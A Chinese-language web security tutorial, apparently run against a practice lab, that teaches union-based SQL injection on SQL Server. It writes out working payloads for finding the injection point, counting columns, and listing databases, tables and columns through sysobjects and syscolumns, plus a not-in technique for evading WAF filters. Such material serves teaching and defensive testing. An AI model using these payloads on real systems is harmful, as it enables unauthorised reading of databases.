11-Web安全—基于SQL Server的联合注入——for xml path

1. SQL Server注入

前面已经学过MYSQL注入了,对于大多数数据库来说,SQL注入原理是相似的,不同的是每个数据库所遵循的SQL语句标准存在着细微差异,包括SQL语句,函数等,针对不同数据库可能在注入思路和方法上也有所不同,本篇将学习SQL Server数据库的注入的思路和方法。

 

SQL Server的系统库及视图:

mater :记录所有系统信息,例如所有数据库,登陆,配置设置等信息,master..sysdatabases表中存储着当前数据库的所有库名

model :模板数据库,创建数据库时可以使用模板数据库的信息

tempdb : 临时数据库(数据库重启后会清空)

msdb :保存于数据库备份、SQL Agent信息、DTS程序包、SQLSERVER任务等信息,以及诸如日志转移这样的复制信息

 

SQL Server的系统数据库的系统视图展示:

11-Web安全—基于SQL Server的联合注入——for xml path_第1张图片

sysobjects表用于记录所有表名,syscolumns用于记录所有列名。

 

SQL Server常用查询函数:

1. 查询数据库版本

select @@version;

 

2. 查询服务名

select @@servername;

 

3. 查询主机名

select HOST_NAME();

 

4. 查询当前数据库名

select db_name();

 

5. 查询当前数据库的拥有者,一般每个数据库默认用户是dbo(databaseOwner),具有所有者权限

select user;

 

常见的SQL Server查询指令,top n:

select top 5 username from users;

top n指令用于查询前n条指令,例如top 5就是查询users表中前5条用户名记录。

 

 

2. for xml path

union注入用到的函数for xml path和quotename,for xml path函数主要是用于把多行查询结果变为一行显示,quotename函数的作用是把每行查询结果用[ ]默认包裹起来。

11-Web安全—基于SQL Server的联合注入——for xml path_第2张图片

 

for xml path函数会将查询的所有结果显示为一行,并且每个结果都用username标签包括起来,可以通过quotename函数使用其他符号包裹起来:

11-Web安全—基于SQL Server的联合注入——for xml path_第3张图片

 

 

SQL Server注入流程和MYSQL注入流程类似,第一步也是使用and1=1和1=2判断网站的注入点是数字型还是字符型。

11-Web安全—基于SQL Server的联合注入——for xml path_第4张图片

SQL Server无论是输入id=1 and 1=1还是id=1 and 1=2时页面都返回错误,这和MYSQL注入方式是不一样的。

 

 

直接输入?id=1',从SQL Server的报错信息来看,这是属于字符型注入,使用的是单引号闭合:

11-Web安全—基于SQL Server的联合注入——for xml path_第5张图片

在地址栏中输入1' --+系统的单引号闭合掉,通过利用SQL Server的精确报错信息可以帮助我们判断注入类型。

 

接下来就是通过order by语句判断列数:例如?id=1' order by 2 --+ ,利用二分法尝试判断列数,当前查询列数小于或等于order by的参数时,页面能正常显示,当前查询列数大于order by的参数时,页面则会报错。

11-Web安全—基于SQL Server的联合注入——for xml path_第6张图片

从SQL Server报错信息来看当前查询的表的列数是不大于4的,当我们在Less-1页面输入id=1' order by 3 --+时,页面正常显示,说明当前表的列数小于或等于3。

 

确定表的列数后,就可以通过union再确定当前网页的显示位,需要注意的一点确定页面的显示位时需要把id值更改为不存在的数:

11-Web安全—基于SQL Server的联合注入——for xml path_第7张图片

 

 

使用db_name查询当前数据库名,@@version查询SQL Server数据库版本:

11-Web安全—基于SQL Server的联合注入——for xml path_第8张图片

当前数据库为security,SQL Server版本为2008 R2 - 10.50.1600.1版本。

 

 

确定显示位,再查询表名,对于SQL Server来说,如果数据库版本是2000以上的话,所有列名存储在information_schema数据库下的数据库表tables里的table_name字段(table_name字段用于记录表名)

11-Web安全—基于SQL Server的联合注入——for xml path_第9张图片

 

注意:SQL Server下的每个数据库下的系统视图库都有information_schema数据库表。

 

 

使用quotename语句和for xml path语句把当前数据库下的所有数据库表都给显示出来,构造的SQL语句:

union select 1,2,(select quotename(table_name) from information_schema.tables for xml path(''))--+

11-Web安全—基于SQL Server的联合注入——for xml path_第10张图片

 

 

 

3. 排除法

排除法是union联合注入中一种比较常用的注入手法,特别是遇到WAF防火墙的时候。注入过程中使用的函数:where 列名 not in()和max()。

 

where 列名 not in()是一个限定语句:

select * from users where id not in(1,2,3) and username not in('admin');

查询id不包括1,2,3并且username不包括admin的所有用户名和密码。

 

 

max()函数用于查询最大值:

select max(id) from users;

 

如果在注入过程中,db_name函数被过滤导致无法使用时,可以尝试从master数据库下的系统视图master..sysdatabase中获取数据库名:

11-Web安全—基于SQL Server的联合注入——for xml path_第11张图片

 

 

SQL Server数据库下默认的数据库(除了yy和security两个数据库):

11-Web安全—基于SQL Server的联合注入——for xml path_第12张图片

 

可以结合where 列名 not in()语句,用排除法查询所需要的的数据库名,可以先查询出:

union select 1,2,name from master..sysdatabases where name not in ('master','model','msdb','ReportServer','ReportServerTempDB') --+

11-Web安全—基于SQL Server的联合注入——for xml path_第13张图片

使用排除法排除掉SQL Server默认的系统数据库,最终查询到想要的数据库信息:security。

 

 

查询表名:在不使用information_schema的情况下,在当前数据库security下——>视图——>系统视图——>sys.sysobjects里可以查询到所需表名,在sys.sysobjects表中的xtype列S表示是系统的表项,而U则表示是用户创建的表项。

id=0 union select 1,2,name from security..sysobjects where xtype='u'

11-Web安全—基于SQL Server的联合注入——for xml path_第14张图片

 

在原来的SQL语句中加上not in并使用排除法,一个一个排除,最终拿到想要的表名:

id=0 union select 1,2,name from security..sysobjects where xtype='u' and name not in ('emails','referers','uagents') --+

 

查询列名:在当前数据库security下——>视图——>系统视图——>sys.syscolumns表里可以查询所需的列名,但是这张表里没有mysql数据库中类似table_name的字段可以关联到sysobjects表里的table_name字段,sys.syscolumns表中是通过id字段来关联到sys.sysobjects表中的id字段的(使用id代替table_name)

11-Web安全—基于SQL Server的联合注入——for xml path_第15张图片

 

sys.sysobjects表对于每一张表都会有一个id与之对应,users表与之对应的id就是626101271,如下所示:

11-Web安全—基于SQL Server的联合注入——for xml path_第16张图片

 

 

在sys.syscolumns表中查询users表的所有列名时,就可以将where条件的id字段的值指定为users表的id,构造的sql语句如下:

select name from security..syscolumns where id=(select id from security..sysobjects where name=('users'));

 

查询users表的所有字段,最终构造成的SQL语句:

id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u')

 

11-Web安全—基于SQL Server的联合注入——for xml path_第17张图片

 

然后使用排除法把所有的列名查询出来:

id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u') and name not in ('id')
id=0 union select 1,2,name from security..syscolumns where id=(select id from security..sysobjects where name=('users') and xtype='u') and name not in ('id','password')

 

你可能感兴趣的:(网络安全)